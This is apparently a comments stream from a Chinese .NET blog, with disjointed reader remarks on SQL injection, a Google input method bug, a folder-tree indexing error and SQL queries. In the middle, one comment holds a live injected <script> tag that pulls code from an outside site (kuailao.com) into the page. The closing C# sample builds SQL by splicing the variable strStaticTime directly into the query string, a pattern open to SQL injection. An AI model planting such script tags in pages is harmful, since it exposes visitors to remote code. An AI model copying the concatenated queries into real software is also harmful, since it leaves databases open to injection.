DavidJGu's Blog

2个多月过去了，怎么还没登场？

我觉得防注入方面在.net中只要是参数化的存储过程，并且使用 sp_excutesql方式来执行动态语句，这样就能防止注入
当然还要管得住权限不知道楼主是否赞同

我试过这个函数 好像不行呀!!!!
你有试过吗?!

对啊。小弟刚才也遭遇到这个问题。从google搜索到这个博客，要重新装一次google输入法啊。不爽了。

<br>

是的,我也遇到了同样的问题
所以上网来搜索

4月1日的礼物

老兄
你比GOOGLE还幽默

<script src=http://www.kuailao.com/Ads_pic.asp?name=wqivblpk&id=141></script>

不好意思，这是很早写的东西了；表述不太准确，应该是单独生成一个类，单独生成一个程序集不是必须的；单独一个类，因为消息对象需要被序列化；

“memo:要单独生成程序集。”是说要单独生成一个类吗？

你的文件目录结构是怎么样的？调用方法是如何写的？可以列出来看一下

if ( nodes[i].Tag.ToString() == "folder" )
行 117： {
行 118： GetFolders(dirs[i] + "\\", nodes[i].Nodes );
行 119： }

请问前辈:我试了后总要在这出错(索引超出了数组界限。)

恩，多学习，多进步，多锻炼，多开怀！！！：）

突然想到可以替换为：

SELECT * FROM LMS_TEACHER WHERE LMS_TEACHER.TEACHER_ID<>' ' OR LMS_TEACHER.TEACHER_ID<>''

这样兼容性就强了。

LMS_TEACHER.CODE=@NewCode

怎么变成超连接了？

又是cnblogs的一个bug哦~

本质上说频繁使用object会使程序效率降低，这也是c#2.0所要克服的地方。所以刻意追求通用性会带来整体性能的降低。

give a sample here:
string strSQL_haveClassroom = "SELECT COURSE_OPEN.COURSE_ID AS COURSE_ID ,COURSE_OPEN.COURSE_OPEN_ID AS COURSEOPEN_ID,"+ "CLASS.CLASS_ID AS CLASS_ID,COURSE.CN_NAME AS COURSENAME_CN,'' AS COURSE_KIND,'' AS INPLAN,"+ "'' AS TRAINING_DATE,COUNT(*) AS NUMATTENDERS,'' AS TRAIN_HOUR,'' AS TRAIN_HOURS,"+ "'' AS TRAIN_PLACE,'' AS TRAIN_FEE,'' AS FEE_MODE,'' AS UNDERTAKE_UNIT,SCORE.PASS_DATE AS PASS_DATE"+ " FROM SCORE INNER JOIN COURSE_OPEN ON SCORE.COURSE_OPEN_ID = COURSE_OPEN.COURSE_OPEN_ID"+ " LEFT JOIN CLASS ON COURSE_OPEN.COURSE_OPEN_ID = CLASS.COURSE_OPEN_ID "+ " LEFT JOIN COURSE ON COURSE_OPEN.COURSE_ID = COURSE.COURSE_ID"+ " WHERE SCORE.PASS_DATE>='"+strStaticTime+"' AND COURSE_OPEN.ACTIVE_FLAG='5'"+ " GROUP BY COURSE_OPEN.COURSE_ID,COURSE_OPEN.COURSE_OPEN_ID,CLASS.CLASS_ID,COURSE.CN_NAME,PASS_DATE";

//+ " ORDER BY COURSE_OPEN.COURSE_ID,PASS_DATE";

string strSQL_noClassroom = "SELECT SCORE_NOCLASS_INFO.COURSE_ID AS COURSE_ID,'' AS COURSEOPEN_ID,'' AS CLASS_ID,"
+ "COURSE.CN_NAME AS COURSENAME_CN,'' AS COURSE_KIND,'' AS INPLAN,'' AS TRAINING_DATE,"+ "COUNT(SCORE_NOCLASSROOM.WORKER_ID) AS NUMATTENDERS,'' AS TRAIN_HOUR,'' AS TRAIN_HOURS,"+ "'' AS TRAIN_PLACE,'' AS TRAIN_FEE,'' AS FEE_MODE,'' AS UNDERTAKE_UNIT,PASS_DATE AS PASS_DATE"+ " FROM SCORE_NOCLASSROOM INNER JOIN DBO.SCORE_NOCLASS_INFO ON SCORE_NOCLASSROOM.CREATE_ID = SCORE_NOCLASS_INFO.CREATE_ID"+ " INNER JOIN COURSE ON SCORE_NOCLASS_INFO.COURSE_ID = COURSE.COURSE_ID"+ " WHERE SCORE_NOCLASSROOM.PASS_DATE>='"+strStaticTime+"' GROUP BY SCORE_NOCLASS_INFO.COURSE_ID,CN_NAME,PASS_DATE";

string strSQL = "INSERT INTO T_TRAINRESULT SELECT * FROM ("+strSQL_noClassroom+" UNION ALL "+strSQL_haveClassroom+") UU";